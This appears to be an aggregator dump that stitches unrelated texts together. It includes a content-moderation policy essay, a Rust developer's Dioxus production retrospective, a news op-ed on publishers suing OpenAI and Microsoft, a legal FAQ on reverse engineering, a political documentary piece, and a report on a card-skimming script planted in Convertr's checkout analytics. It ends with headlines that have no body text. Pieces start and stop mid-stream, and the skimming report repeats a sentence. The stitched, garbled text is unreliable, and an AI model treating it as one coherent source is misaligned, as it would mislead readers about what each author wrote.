Fortunately, there is a great deal companies, policymakers, and civil society can do to help ensure that highly automated systems operate in ways that respect human rights, minimize predictable harms, and provide meaningful accountability when they fail. If companies are going to continue relying on automation to moderate users’ speech—and there is little reason to believe they won’t—then accountability must evolve alongside these technologies.

That work should start with publicly committing to the Santa Clara Principles 2.0 . Specifically:

Automated technologies should help, not replace, human moderators. For example, automated systems can help flag and prioritize content for review, while humans can interpret context, handle sensitive cases, and refine system performance. This investment is particularly important during the weeks immediately before and after an election .
Companies must be transparent about when and how automation is used in content decisions.
Companies must regularly audit their automated systems for bias, with particular attention to low-resource languages, vulnerable and marginalized communities, and conflict zones.
Companies should strengthen personal data protection guarantees and policies. Automated content moderation often relies on personal data and profiling, so companies should think carefully about what data these systems use, what's necessary and proportionate and how their systems shape moderation outcomes.
Users must have the ability to appeal, and to provide context when they believe human or automated moderation decisions have wrongfully removed their content. Appeals should be promptly evaluated and decided by human moderators.
Companies should regularly assess the human rights impact of their moderation decisions, and issue public statements of the results
If they rely on third-party vendors, companies should carefully (and regularly) audit those vendors for compliance with these same principles
Lawmakers should avoid promoting and passing legislation that effectively or explicitly mandates automated moderation systems
Policymakers should also refrain from attempting to dictate platforms technical and design choices to favor or disfavor particular expression.
Policymakers should work to educate the public about how their personal data may be collected and used in electoral contexts.

These recommendations understand that automated content moderation isn’t just a technical problem for clever engineers and product teams to solve. Because content moderation shapes public discourse and fundamental rights, its design and oversight must respond to the concerns of policymakers, civil society, independent researchers, and the communities most affected by these systems.

One other distinct and enduring problem makes transparency, checks, and accountability all the more urgent: too few companies have far too much power over our political communication and organizing. Social media gave people the ability to wrest some control over political messaging away from media oligopolies. But we’ve met the new boss and while it’s not the same as the old boss, the song is pretty familiar. The real promise of the web to democratize communication is not likely to be met by social media oligarchs, no matter how sophisticated their content moderation practice.

One year of Dioxus fullstack in production: the good, the painful

Original Article

After a year of Dioxus fullstack in production, the Rust code is the most boring part of my business. CI is the most exciting part, and not in a good way: a release build takes 90 minutes on a GitHub-hosted runner.

That year started at my previous job and continued on my own products. Back in April I wrote about why I picked Rust for a production micro SaaS . The short version: slower at the start, cheaper to live with later. This post is the bill.

What I’m running

SeggWat is an in-app feedback tool for SaaS products. Its dashboard is a Dioxus 0.7 fullstack app inside a Cargo workspace: a backend crate with server functions, an auth crate, and about ten UI crates covering insights, feedback, ideas, boards, widgets and settings. Twelve crates depend on dioxus . Everything sits on PostgreSQL.

infra.page is built on the same stack.

“Fullstack” means one Rust codebase doing three jobs. It renders on the server, runs server functions as the backend, and compiles the client to WebAssembly so the page becomes interactive.

The good

One language, all the way down

Database query, business rule, server function, button: all Rust. One toolchain, one formatter, one set of habits, one place to look when something breaks.

That sounds minor until you’re a solo founder juggling several products. I don’t have a “frontend brain” and a “backend brain” that each need warming up. I open the workspace and keep going.

The same types on both sides

This is the one I’d miss most.

A struct gets defined once. The database layer returns it, the server function sends it, and the component renders it. When I rename a field, cargo check gives me a list of every place that broke, including the UI. There’s no OpenAPI spec to regenerate and no TypeScript interface drifting out of sync with the backend.

The win isn’t writing code faster. It’s refactoring without fear, late at night, with nobody to review it.

The door to other platforms stays open

Dioxus can target desktop and mobile, including iOS, from the same component model. None of my products needs a native app today. But knowing I could ship one without a rewrite mattered when I decided where to put a year of work.

Production is boring

That’s the whole point. Once it compiles, it mostly just runs. A whole class of “undefined is not a function” bugs never reaches users, so the bugs that do get through are logic bugs. That’s where I’d rather spend my attention anyway.

The “boring in production” argument from April survived contact with real users.

The painful

Compile times

This is the part Rust evangelists tend to skip.

The dashboard compiles twice: once for the server and once to wasm32 for the browser. A dozen Dioxus crates plus a macro-heavy UI add up. Locally it’s tolerable on a decent machine. CI is a different story, and the comments in my workflow files read like a diary of it:

The WASM build alone takes about 22 minutes on 6 cores. That’s a single leaf crate: the dashboard compiled for the browser.
A release image takes about 90 minutes on a GitHub-hosted 2-core runner. On my own VPS runner it’s around 40, and that’s the good version.
Clippy got OOM-killed. cargo clippy --workspace --all-targets on the 7 GB hosted runner died with exit code 143 and no diagnostics at all. The fix was a 10 GB swapfile plus CARGO_BUILD_JOBS=1 to cut peak memory. My linter needs swap.

At some point I stopped building images on every push to main. They now build on release tags or when I trigger them by hand, because 90 billed minutes per push is a silly way to spend money.

What I tried

Caching with Swatinem/rust-cache . It helps, but there’s a trap. A workflow run can only restore caches from its own ref or the default branch, and GitHub evicts caches unused for 7 days. Once I stopped building on main, release builds kept starting cold. My workaround is almost funny: after a dependency bump, I manually trigger a build on main just to keep the cache warm.
Building and testing in one go , so the tests reuse compiled artifacts instead of compiling the world a second time.
The mold linker. Nice, but linking was never the bottleneck. Compiling was.
A self-hosted runner for the heavy builds. This was by far the biggest win, 90 minutes down to 40. It also means I now maintain a build server.

Every one of these helped. None of them changed the underlying math: two compile targets, a big dependency tree and lots of macros means a lot of compiling.

“All Rust” comes with an asterisk

The business logic is all Rust. The edges aren’t.

SeggWat’s insights page shows charts, and I couldn’t find a Rust charting library I’d trust in production. So the charts are Chart.js , loaded from a CDN and wrapped in about 340 lines of JavaScript that Dioxus calls through dioxus-use-js . Styling is Tailwind, so CI also installs Bun and runs the Tailwind CLI before Rust even starts.

I’m fine with that. It’s pragmatic. But if you’re choosing Dioxus specifically to escape JavaScript, know what you’re signing up for: Rust, plus some JS glue, plus a JS toolchain in your pipeline.

Would I do it again?

People ask, “What helps me ship fastest?” The better question is, “What helps me keep shipping without hating my life?”

For the backend, the answer is still Rust, and it isn’t close.

For the frontend, I’ve changed my mind a bit. If I were building something truly app-like, with heavy client state, offline support or a real mobile app, I’d pick Dioxus again. But most of what I build is dashboards: forms, tables, a few charts and some toggles. For that, I’m paying a 22-minute WASM tax on every release for interactivity I barely use.

What’s next: Topcoat

So my next project is going to use Topcoat , a new fullstack framework from the tokio-rs org, announced in July .

It makes the opposite bet from Dioxus. Everything renders on the server, and components are async functions that can query the database directly. For interactivity, you write $(...) expressions in ordinary, type-checked Rust. Topcoat evaluates them on the server for the first render and also translates them to JavaScript, so they re-run instantly in the browser. There’s no WASM bundle and no second compile target.

#[component]
async fn faq(cx: &Cx) -> Result<impl View> {
    let open = signal(cx, || false);
    Ok(view! {
        <button @click=$(|_e| open.set(!open.get()))>"What is Topcoat?"</button>
        <p :hidden=$(!open.get())>"A full-stack Rust framework."</p>
    })
}

Example from the Topcoat README.

On paper, Topcoat keeps what I love about Dioxus (one language, shared types, no API layer) and removes the part that hurts most, the 22-minute WASM build.

To be clear, this is a bet, not a result. Topcoat’s README calls it early-stage and experimental, with breaking changes expected. I’m giving up the multi-platform option. And I haven’t measured a single build yet.

I’ll write the follow-up with real numbers: compile times, CI minutes, and whatever I end up missing from Dioxus. If my release build drops from 40 minutes to 10, you’ll hear about it. If it doesn’t, you’ll hear about that too.

I’m Hauke. I build SeggWat , Stepshots and infra.page in Rust and write about it on OXIDT .

The Entire Journalism Industry Is on a Collision Course With AI

The Entire Journalism Industry Is on a Collision Course With AI Judy Tue, 10/27/2026 - 17:08 ...

Original Article

While it is not yet possible to say that the group of technologies currently called “AI” is harmful to literally everyone, that tech is already harming large numbers of people in many different ways: jeopardizing their jobs , health , privacy , and lived environment . And I can say with certainty that the way these technologies are being built, deployed, and used has been extremely harmful to the journalism industry in general and to small news outlets in particular.

It is for that reason that my organization, the Boston Institute for Nonprofit Journalism , recently joined with 59 other publishers to file a mass-action lawsuit against OpenAI and Microsoft . Together, this group of plaintiffs, represented by the mission-driven law firm Platkin LLP , controls more than 500 news outlets large and small across the United States.

Our main complaint is that OpenAI and Microsoft took our articles without asking our permission and definitely without providing us payment of any kind, in violation of well-established copyright law, in order to build the large-language models that are the core of their AI businesses.

This is only one type of damage that the AI giants in question have inflicted on news outlets all over the U.S. and the world. And the exposure for these companies due to that damage is absolutely huge when one combines the potential amount that our lawsuit could cost OpenAI and Microsoft with the potential amount similar lawsuits could cost those defendants — as well as the truly massive New York Times suit against the same companies on the same grounds that has been wending its way through the legal system for three years . Which, clearly, is why we are suing on those grounds.

But there are other ways the vast corporations that make up the nascent AI industry have harmed news organizations. Perhaps the worst of those is that the volume of traffic to news outlets from web search has been dropping since the AI boom began a few years ago (a dilemma that Truthout leaders have ably elucidated in two recent commentaries ). We all rely upon that traffic for maintaining and, more importantly, growing our audiences over time. Audiences translate to revenue for news publications as with every other business on the web, be that revenue donations for nonprofit news groups or advertising for both nonprofit and commercial ones.

According to a January 2026 report by the University of Oxford’s Reuters Institute for the Study of Journalism that used a survey “drawn from a strategic sample of 280 digital leaders from 51 countries and territories” to look at major threats faced this year by the news industry, “Aggregate data, sourced from the analytics company Chartbeat for this report, show that Google traffic from organic search to over 2,500 sites was down by a third (33%) globally between Nov 2024 and Nov 2025 and by 38% in the United States, but it is not clear how much of this is down to AI overviews.”

The news “editors, CEOs, and digital executives” surveyed for the Reuters Institute report forecast another 43 percent drop in organic search traffic to news sites this year, but we’ll have to wait until the next report to see how accurate that prediction was.

And the fact that the study did not determine how much of that drop was due to AI search summaries does not mean that effect was insignificant. The Pew Research Center tracked 68,879 real Google searches by 900 U.S. adults in March 2025 and compared what happened when an AI search summary box (called “AI Overview” on Google) appeared on top of a search results page versus when it didn’t. The percentage that clicked through to a non-Google website link when there was no AI Overview box on top of the search results page was 15 percent. The percentage when there was an AI Overview box on top of the search results page was 8 percent. Meaning that almost half the people who would normally click through to a non-Google website link from Google search did not do so when an AI Overview box was present on top of a Google search results page.

The Pew study also found that only about 1 percent of users clicked a source link inside the AI Overview box itself. Users who saw a search summary were more likely to end their session entirely (26 percent with a summary and just 16 percent without one). So lots of people are simply reading the AI Overview on Google and then stopping their search without going to any other site, including news sites, as the Reuters Institute study showed.

Thus, a significant portion of news outlets’ audiences are being effectively blocked from finding us even as the chatbots scrape the professionally produced articles published by the news industry to answer people’s questions. This in turn strangles the reach of most news outlets and results in our audiences shrinking.

Guess what that does to our revenue streams? It’s not pretty.

All of this is happening, mind you, in an era when the news industry is already dying the death of a thousand cuts. Private equity firms and hedge funds have been buying up news outlets, mining them for profit, and selling off whatever assets were left for decades. We had already lost most of our advertising dollars to Google, our classifieds income first to Craigslist and then to other corporations, and our audiences to all the social media giants like Meta’s Facebook — which we had gamely helped bring our audiences to starting in the 2000s (“join us on Facebook!”), only to have them start to charge us to reach those same audiences not long after we helped deliver them on silver platters.

For most of the last two decades, I have been saying that the news industry is in rolling collapse, with small local and regional publications shutting down with increasing regularity.

Now I say that American journalism is in terminal collapse.

According to the 2026 State of Local News report released this month by the Medill School of Journalism at Northwestern University, 7,500 newspaper jobs were lost nationwide between 2024 and 2025. This, in an industry where many reporters already don’t have full-time jobs but are forced to be freelancers and find other gigs outside journalism to make ends meet. Also, the report states, “In the past year, 170 newspapers have closed or merged, at a rate of nearly three a week, and many of these were the last remaining source of original news in their communities.”

The Medill report authors try to put a happy face on the situation by pointing out that their research shows that “8,400 news outlets make up the American local news ecosystem.” But they also demonstrate that we’ve had a net loss of 3,400 local newspapers since 2005 , and that “total newspaper employment has decreased by 75% over the past two decades” (2005 to 2025).

From long experience and constant communication with dozens of fellow news publishers, I will add that I believe too many of the surviving news outlets in the U.S. are as close to shutting down as my organization — continuing to survive only by the underpaid labor of an ever-shrinking number of wildly overworked staffers shored up by a legion of “stringers” (freelancers), usually uncounted by research centers like Medill, who have little hope of ever getting a “ job job” in a dying profession.

AI giants walking off with the content of news outlets like mine and blocking us from our audience with AI search summaries look to be the final nails in the coffin of the news industry as major news organizations join smaller ones in suffering significant staff cuts or going under outright.

As flawed as American journalism has always been, news publishers are beset by these manifold crises while the tech lords are amassing wealth at historic levels and using that wealth to dominate politics in ways that threaten democracy in the United States and beyond.

I believe that this crushing of remaining U.S. news outlets by oligarchs is not a bug but a feature of the tech-driven American economy. Billionaires in the tech industry (and other major industries besides) are singularly uninterested in anybody shining the light of day on their political and economic activities and those of their conglomerates.

That is why the Boston Institute for Nonprofit Journalism is committing to fighting tooth and nail to continue producing news in the service of democracy. And part of that fight is suing OpenAI and Microsoft for ripping us off — small and perennially on the brink of financial ruin though we have been throughout our entire 11+ year run to date.

We are extraordinarily pleased to be joined in this fight by many other news publishers like us, including close friends The Shoestring of western Massachusetts, ecoRI News , East Greenwich News of Rhode Island, InDepth NH , the Pelham Examiner of New York, and the Austin Chronicle of Texas.

We hope that more folks who are aware that their lives and livelihoods have been harmed by the AI giants and other tech giants will be inspired by our action and follow in our footsteps. If enough people demand redress through the legal and political system, perhaps the oligarchs will see their industries collapse before they succeed in wiping ours out — brought down by an army of regular people defending our democratic rights. On top of the deleterious effects of the growing speculative bubble forming in an AI industry unable to create products that most people are willing to pay for.

A bubble that is looking more ready to burst by the day .

By using the term "legally risky" here, we aren't saying that the activity is certainly legal or illegal. We're saying that these are areas where the law may apply so any researcher considering these steps should take the time to think it through and probably get some legal help.

If your access to the code or computer system you are studying is conditioned upon agreeing to any contractual terms ( e.g. End User License Agreements (EULA), terms of service notices (TOS), terms of use notices (TOU), a non-disclosure agreement (NDA), developers agreement or API agreement), you are at greater legal risk if your research activities do not comply with their stated terms and conditions. You should talk to a lawyer before agreeing to any terms and before studying any software distributed with such terms and conditions, even if you have come into possession of that code without agreeing to anything.
It is extremely risky to disclose or use any information you obtained subject to an NDA or other negotiated contractual obligation of confidentiality.
It is legally risky to study software you do not possess legally.
It is legally risky to make any copies of software that have not been authorized by the copyright owner (such as by a license agreement).
It is legally risky to bypass any “technical protection measures” ( e.g. , authentication handshakes, protocol encryption, password authentication, code obfuscation, code signing) that control access to the code or any specific functionality.
It is highly risky to copy any code into a program you create as a result of reverse engineering, because that copy could infringe copyright unless it is a fair use under copyright law. Note that copying can include both imitation of non-functional elements as well as verbatim duplication.
It is legally risky to perform any network packet inspection unless (1) the network is configured to be accessible to the general public; (2) you have consent of all users whose packets are intercepted; or (3) you have consent of the network provider where the inspection is necessary for provision of the service or to protect the network provider’s rights and property.

Don't feel hopeless, however. Visit our section on How to Limit Legal Risk .

What Legal Doctrines Are Most Likely To Affect Reverse Engineering? ^

Five areas of United States law are particularly relevant for computer scientists engaging in reverse engineering:

Copyright law and fair use, codified at 17 U.S.C. 107;
Trade secret law;
The anti-circumvention provisions of the Digital Millennium Copyright Act (DMCA), codified at 17 U.S.C. section 1201;
Contract law, if use of the software is subject to an End User License Agreement (EULA), Terms of Service notice (TOS), Terms of Use notice (TOU), Non-Disclosure Agreement (NDA), developer agreement or API agreement; and
The Electronic Communications Privacy Act, codified at 18 U.S.C. 2510 et. seq.

This FAQ does not address international or foreign law.

How Could Copyright Law Limit My Ability To Legally Reverse Engineer? ^

Reverse engineers execute code and/or make copies of software as part of analyzing the way the program works. Copyright law generally grants a certain set of exclusive rights to copyright owners, including the right to make copies of copyrighted works. Software is one category of works that are protected by copyright. As a result, if you make copies of software, you generally need either permission from the copyright owner, or your copying must fall within an exception granted by the copyright laws. Permission can be inferred from the outright sale of a copy of software or from a license agreement. The copyright exception most relevant to reverse engineering is the fair use doctrine.

Executing code also raises the possibility of copyright issues. Some courts have stated that causing code to be copied from disk into RAM may be a copy for purposes of copyright law, and if that RAM copy is unlicensed, then it is infringing. In other words, executing unlicensed code could be infringing. Further, some copyright owners argue that cached copies held in more permanent storage may be infringing.

What U.S. Copyright Law Doctrines Allow Reverse Engineering? ^

Permission: a copyright owner can always give you permission to make copies (perhaps in a license agreement), and depending on the nature of the permission, it may authorize reverse engineering. For example, if a license agreement authorizes you to “use” the software, and it does not expressly prohibit reverse engineering, that may be all the permission you need.

Fair Use: The fair use doctrine allows users to make unauthorized copies in certain circumstances. Courts have found that reverse engineering for interoperability, for example, can be a fair use.

Are There Court Decisions That Illustrate Reverse Engineering As Either An Infringing Or A Non-Infringing Fair Use? ^

Here are some:

In Sega Enterprises v. Accolade, 1 the maker of a leading video game console (Sega Genesis) sued a video game publisher (Accolade) after the publisher reverse engineered the console in order to make compatible games. Accolade wired a decompiler to the console’s circuitry while loading three different, licensed games. It then compared the disassembled code in order to ascertain the interface specifications for the console. This information was then compiled in a written manual, which coders relied upon in developing Accolade’s own Genesis-compatible games. No Sega code was copied in Accolade’s games—the Accolade code was entirely original. Although Accolade initially lost in the district court, the Ninth Circuit ultimately found that Accolade’s “intermediate” copying ( i.e. , copying solely in order to discover functional interface specifications that were then independently implemented) was a fair use, emphasizing that disassembly was the only way to gain access to the ideas and functional elements embodied in Sega’s copyrighted computer program and that Accolade had a legitimate reason for seeking such access. (Note that Sega sold the Genesis without any license agreements, so the court had no need to address any contractual prohibitions on reverse engineering.)
Sony Computer Entertainment v. Connectix 2 involved a software publisher (Connectix) that developed software known as the Virtual Game Station that emulated the Sony PlayStation game console on Macintosh and Windows computers. Development of the Virtual Game Station required reverse engineering efforts that included extracting the BIOS of a PlayStation console and observing it in a debugger, as well as disassembling the BIOS object code. Sony sued and Connectix lost an initial skirmish and was temporarily enjoined from distributing the Virtual Game Station. Ultimately, however, the Ninth Circuit reversed that ruling, finding that Connectix’s intermediate copying was a fair use. The court emphasized that the intermediate nature of the copying ( i.e. , no Sony BIOS code as included in the Virtual Game Station code), the necessity of reverse engineering, and the value of permitting consumers to play PlayStation games on new platforms. (As in Sega, the case did not involve any license agreements, so the court was not called upon to interpret any contractual terms against reverse engineering.)
Atari Games Corp. v. Nintendo of America, Inc. 3 : Nintendo created a lock code – 10NES – to prevent unauthorized game cartridges from playing on the Nintendo Entertainment System (NES) console. Atari tried but failed to break 10NES by monitoring the communications between the authorized game chips and console chip, and then by physically examining the chips. The company then became a Nintendo licensee, which limited its right to access the10NES program. Under the license, Atari could develop five games per year for the NES and Nintendo would insert the 10NES code so that the games would play on the console. Atari then lied to the Copyright Office in order to get a copy of 10NES. It used that copy to debug its microscopic examination of the code from the chip. Atari then developed an original program that used none of the 10NES code, but which performed the same function. The court found that Atari infringed by reproducing a copy of 10NES that it was not authorized to possess. Any reverse engineering efforts untainted by the infringing copy, including chemically removing layers, microscopically examining the chip, transcribing the object code into a handwritten list of ones and zeros keying the information into a computer then disassembling the object code, were non-infringing fair uses. But any reverse engineering that made use of the copy purloined from the Copyright Office was improper. Finally, the Atari unlocking program was substantially similar to 10NES in ways not required to replicate the function of unlocking the NES console. Even though the program was written for a different chip and in a different programming language, these similarities suggested that the Atari program was not an independent creation, but an unauthorized copy.
Compaq Computer Corp. v. Procom Technology, Inc. 4 : The court held that Compaq’s compilation of threshold values for parameters used to determine when failure of hard drive was imminent was sufficiently creative to be copyrightable. The company had exercised discretion in choosing number of parameters and which particular parameters to monitor, and thus these threshold values were not facts. Procom sold hard drives that were compatible with the servers marketed by Compaq and made their drives competitive with Compaq drives by copying the threshold values and thereby enabling the same failure warnings. Because Procom made a verbatim copy of these copyrighted threshold values and used them without alteration, the verbatim copies were infringing.
Blizzard v. BnetD 5 : BnetD was an open source program that let gamers play popular Blizzard titles like World of Warcraft on servers other than Blizzard's Battle.net service, thereby offering players more options. BnetD programmers agreed to Blizzard’s EULA and Battle.net’s TOU before reverse engineering the game to create BnetD. The EULA and TOU expressly prohibited reverse engineering and hosting of Blizzard games on other servers. The Eighth Circuit held that these mass-market click-through licenses were enforceable contracts and that the programmers violated several parts of Blizzard's EULA, including the section on reverse engineering. Even though reverse engineering is a fair use under federal copyright law, the programmers waived their fair use rights through the EULA. The court also held that the programmers violated the anti-circumvention provisions of the DMCA when they programmed BnetD servers to emulate the authentication sequence or "secret handshake" between Blizzard game software and the Battle.net server. By doing so, BnetD circumvented Blizzard’s technological protection measure that controlled access to the copyrighted game software code. Further, the DMCA exception for reverse engineering to achieve interoperability with an independently created computer program did not apply. The EULA did not authorize BnetD programmers to use the game software with a non-Blizzard server. BnetD allowed infringing game software to operate. Finally, BnetD copied more code than was purely necessary for interoperability in order to provide an identical play environment.

How Could Trade Secret Law Limit Reverse Engineering? ^

Like copyright infringement, misappropriation of trade secrets can be both a civil and criminal offense. Generally, a trade secret is information that (1) derives independent economic value, actual or potential, from not being generally known to the public or to other persons who can obtain economic value from its disclosure or use; and (2) is the subject of efforts that are reasonable under the circumstances to maintain its secrecy. Misappropriation means a wrongful taking or publication of a trade secret.

Reverse engineering generally doesn’t violate trade secret law because it is a fair and independent means of learning information, not a misappropriation. Once the information is discovered in a fair and honest way, it also can be reported without violating trade secret law.

However, reverse engineering that violates an NDA or other contractual obligation not to reverse engineer or disclose 6 may be misappropriation. Breaking a promise made in a negotiated NDA is more likely to result in a trade secret claim than violating a term in a mass market EULA. If you are subject to any contractual restrictions, whether a EULA or NDA, or if the code you are researching is generally distributed pursuant to such agreements, you should talk to a lawyer before beginning your research activities.

How Could The Anti-Circumvention Provisions of the DMCA Limit Reverse Engineering? ^

Section 17 U.S.C. 1201, the anti-circumvention provisions of the DMCA, prohibits circumvention of “technological protection measures” that “effectively control access” to copyrighted works. The law also prohibits trafficking in tools that are primarily designed, valuable or marketed for such circumvention.

In other words, section 1201 creates a potential legal obstacle for a researcher or coder if a software vendor employs mechanisms that control the way copyrighted software or other materials can be accessed or used. Many people think of section 1201 as prohibiting cracking digital rights management schemes (DRM). However, the language of section 1201 prohibits more than breaking traditional “copy-protection” mechanisms applied to DVDs and digital video downloads. It also prohibits breaking “access controls”. Software vendors have argued, or are likely to argue, that techniques such as authentication handshakes, code signing, code obfuscation, and protocol encryption all qualify as “technical protection measures” protected by the DMCA. While research on these techniques may nevertheless be legal for a variety of reasons, researchers working on encryption, security and the creation of interoperable programs have to worry about whether section 1201 applies to their research.

For more information on how the DMCA anti-circumvention provisions have been used against researchers and others, see EFF’s Unintended Consequences White Paper .

What Exceptions Does DMCA Section 1201 Have To Allow Reverse Engineering? ^

Section 1201 contains an exception for reverse engineering, as well as security research, encryption research, and the distribution of security tools, all of which may support reverse engineering. However, these exceptions are drafted very narrowly. If your research might implicate section 1201, consult a lawyer to see if you can do your work in a way that is allowed by one of the relevant exceptions or by an exemption periodically granted by the Copyright Office. The following factors are relevant to whether you are entitled to a reverse engineering, research or security exception. However, meeting any or all of these factors will not necessarily protect your work. The list is offered just to give you an idea of the kinds of things that distinguish permissible from impermissible reverse engineering:

You lawfully obtained the right to use a computer program;
You disclosed the information you obtained in a good faith manner that did not enable or promote copyright infringement or computer fraud;
Your sole purpose in circumventing is identifying and analyzing parts of the program needed to achieve interoperability;
The reverse engineering will reveal information necessary to achieve interoperability;
Any interoperable program you created as a result of the reverse engineering is non-infringing;
You have authorization from the owner or operator of the reverse engineered software or the protected computer system to do your research;
You are engaged in a legitimate course of study, are employed, or are appropriately trained or experienced, in the field of encryption technology.
You provide timely notice of your findings to the copyright owner.

If I Conduct Research Within The Section 1201 Exceptions, Can I Then Distribute Code Derived From That Research? ^

Even when your acts of circumventing a technological protection measure are allowed under a section 1201 exception, you may still be prohibited from trafficking in reverse engineering, encryption or security tools that circumvent. Do not distribute code or other tools that come from research regulated under Section 1201 without talking to a lawyer first. For more information, read our FAQ on Vulnerability Reporting .

How Could Contract Law Limit Reverse Engineering? ^

Most software today comes with EULAs, and EULAs may have “no reverse engineering” clauses. Websites or other internet services also may have TOS or TOU that purport to restrict otherwise legal research activities. Researchers and programmers sometimes receive access to code pursuant to an NDA, developer agreement or API agreement that restricts the right to report security flaws. The legal status of contractual prohibitions on security research or vulnerability reporting is still in flux. While it is more likely that a court will enforce a negotiated NDA than a mass market EULA, the law is not clear. Be sure to consult with counsel if the code you want to study is subject to any kind of contractual restriction.

How Could The Electronic Communications Privacy Act Regulate Reverse Engineering? ^

The ECPA, sections 18 U.S.C. 2510 and following, prohibit interception of electronic communications flowing over a network. Because packets are communications, network packet inspection may violate ECPA. There are many exceptions to this general prohibition. For example, the service provider may intercept and use communications as part of “any activity which is a necessary incident to the rendition of his service or to the protection of the rights or property of the provider of that service, except that a provider of wire communication service to the public shall not utilize service observing or random monitoring except for mechanical or service quality control checks.” In addition, if the parties to the communication consent, then there is also no legal problem. The ECPA is a complicated statute, so if your research involves inspecting network packets -- even you’re only interested in addressing information, such as source and destination addresses -- you should talk to a lawyer first about ensuring that your work meets one of the exceptions.

In Sum, If My Research Involves Reverse Engineering, What Can I Do To Limit My Legal Risk? ^

Consult a lawyer
Try to make only copies that are necessary for figuring out how a program works and for accessing the ideas, facts and functional concepts contained in the software.
Use less “intrusive” techniques, such as observation of inter-chip communications or step-wise debugging, before resorting to decompilation or disassembly.
Try to make only intermediate copies. Avoid using copyrighted code in the final product unless it is absolutely necessary.
Have the reverse engineering team that studies the code develop a written manual that describes the necessary interfaces in purely functional terms, then engage separate developers to build original code based on the manual and without access to the copyrighted software.
Acquire the software that you are reverse engineering legitimately. Purchase as many copies as you need to accomplish your reverse engineering. Do not use “cracked” or other adulterated versions from Internet sources.
Watch out for and do not agree to “no reverse engineering” clauses in license agreements or terms of use.
Watch out for “technical protection measures” ( e.g. , authentication handshakes, passwords, encryption, code obfuscation) that control access to the software as a whole or to particular modules or functionality.
If your research involves interception of packets without the consent of the parties to the communication, you should consult a lawyer.
Try to avoid disseminating the results of your research in a way that promotes copyright infringement or computer fraud. See also our FAQ on Vulnerability Reporting.

When It Comes to Trump’s Corruption, You Haven’t Seen It All Published October 27, 2026

Any way you slice or dice the productive output of the Trump White House and its Republican Party enablers, what you find is a heaving portion of deceit, double-dealing, and self-enrichment. And the public has noticed: Ahead of the midterm elections, voters say “corruption” is their number one concern. In fact, a Gallup poll found 89 percent of Americans believe government corruption is widespread—that is the highest figure ever recorded on the subject and a view shared across party lines (83 percent of Republicans, 91 percent of Democrats).

So people might be primed for a new documentary that puts MAGA malfeasance under a microscope. On Tuesday, Defiance.org released Corruptionlan d , an investigation into the staggering scale of corruption in Trump’s Washington. The 35-minute film is streaming free here .

“For two years, Trump’s scandals have hit one at a time, and each one gets buried under the next,” said Miles Taylor, executive producer of the film and the former chief of staff at the Department of Homeland Security during the first Trump administration. “So we added them up. When you put 100 episodes in one place, the scale is staggering: $377 billion in a tangled web of alleged corruption that is without any precedent in American history. Even that number undersells it, because you can’t put a price on the president’s revenge agenda and his weaponization of federal power. Every American deserves to see the full picture before they vote, and now they can.”

In the film, Taylor is joined by Donald Sherman, executive director of Citizens for Responsibility and Ethics in Washington, or CREW; together, they walk the National Mall and provide a geographic map of the Trump administration’s misdeeds. Along the way, a host of former officials and advocates give an intimate view of how long-erected safeguards against corruption were dismantled from the inside, including former DOJ Pardon Attorney Liz Oyer, former ABC News journalist Terry Moran, former FBI official Chris O’Leary, Democracy Forward president Skye Perryman, Representative Jason Crow, and others.

Viewers are going to get the kind of civic education that the political media is often incapable of providing. As the producers describe, “The documentary traces how the five ‘filters’ that historically checked presidential corruption—from White House ethics lawyers to inspectors general to Congress—have been purged, captured, or sidelined.”

As I’ve written in the past, the mainstream media has been slow on the uptake where corruption is concerned. When Hungarian strongman Viktor Orbán was defeated back in April, news outlets seemed to have been caught flat-flooted that a broad anti-corruption message could succeed so vividly in a country that seemed to be so deeply mired in authoritarianism.

Democrats, on the other hand, have been ahead of the curve. As The Washington Sun (then doing business as NOTUS) recently reported, “Democratic candidates are leaning into anti-corruption messaging this cycle, seeing it as an opportunity to emphasize what they see as excessive corporate influence, unethical stock trading and shady behavior from their opponents.”

“I’ve been on the receiving end of the president’s corruption,” Taylor said. “He accused me of treason and issued an executive order directing his agencies to investigate me for First Amendment protected speech. I was not afraid to call out his corruption then, and I’m not afraid now. Neither are millions of Americans who are speaking up.

“This isn’t about Republicans and Democrats anymore,” Taylor added. “It’s about a constitutional order that faces a mortal threat—and an internal rot that will destroy our republic if we don’t address it.” With Democrats on the hunt and the public hungry to set things right, Corruptionland ’s timely dose of Trump transgressions will add considerable fuel to a raging fire.

Hackers hijack Convertr analytics script to steal payment card data

A credit card skimming group reportedly compromised a shared analytics script used by e-commerce platform Convertr to steal shoppers’ payment data during checkout.

The campaign was identified on October 24 and has been attributed to a Brazilian gang, active since at least July 2024, that focuses on infecting online stores running Magento, OpenCart, and WooCommerce platforms.

Convertr is a Brazilian e-commerce platform that powers online stores and checkout systems for dozens of major fashion brands in the country, handling R$2 billion ($370M) in sales.

E-commerce security firm Sansec says that the attacker modified the Plausible tracker file hosted on a self-managed server operated by Convertr.

Ecommerce cybersecurity company Sansec says that the attacker modified the tracker file on a self-hosted server for Plausible, an open source alternative to Google Analytics, managed by Convertr.

Sansec suspects the attackers exploited CVE-2026-8467, an unauthenticated command-execution vulnerability affecting Convertr’s outdated Plausible Community Edition installation, to gain initial access. However, this hasn’t been confirmed.

After gaining access, the attackers injected malicious code into a legitimate Plausible analytics tracker hosted on Convertr’s infrastructure, which loads on the checkout pages of all merchants using the platform.

**The Magecart attack chain**
*Source: Sansec*

Sansec says that earlier versions of the skimmer used generic payment-field patterns, but by October 26, the attackers pushed a more refined version that specifically targeted Convertr’s exact payment API field names.

The injected skimmer was configured to steal the following data types from checkout pages:

Payment card number
Expiration date
CVVs code
Cardholder name
CPF taxpayer identification number

The researchers suggest that those who paid by card on a Brazilian store that contained the ‘checkout.convertr’ string in the checkout address page since October 24 should contact their bank immediately and ask to block their card.

In an update today, Sansec confirmed that Convertr "removed the skimmer and upgraded Plausible to a patched version," noting that the company announced it was notifying affected merchants and payment providers.

BleepingComputer has contacted Convertr for a statement on the incident, but we have not received a response yet.

Sansec researchers warned that browser caching could keep the malicious script active on impacted sites for up to 24 hours after cleanup, so customers should clear their cache before placing new orders, even after the threat has been eliminated.

One way to protect payment card details when shopping online is to use disposable virtual cards that expire immediately after a transaction.

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

Early progress on accelerating drug development with Claude

Original Article

